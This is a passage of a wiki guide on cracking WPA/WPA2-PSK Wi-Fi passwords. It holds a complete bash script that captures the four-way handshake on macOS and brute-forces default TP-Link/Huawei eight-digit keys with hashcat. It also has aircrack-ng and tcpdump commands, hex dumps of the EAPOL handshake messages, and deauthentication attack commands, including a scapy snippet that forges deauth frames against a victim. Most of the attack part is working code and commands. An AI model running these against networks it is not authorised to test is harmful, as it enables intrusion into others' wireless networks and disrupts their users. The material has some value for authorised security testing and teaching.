   &lt;br /&gt;
   sudo aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   sudo service network-manager restart&lt;br /&gt;
&lt;br /&gt;
Alternatively on systemd:&lt;br /&gt;
&lt;br /&gt;
   sudo systemctl restart network-manager&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
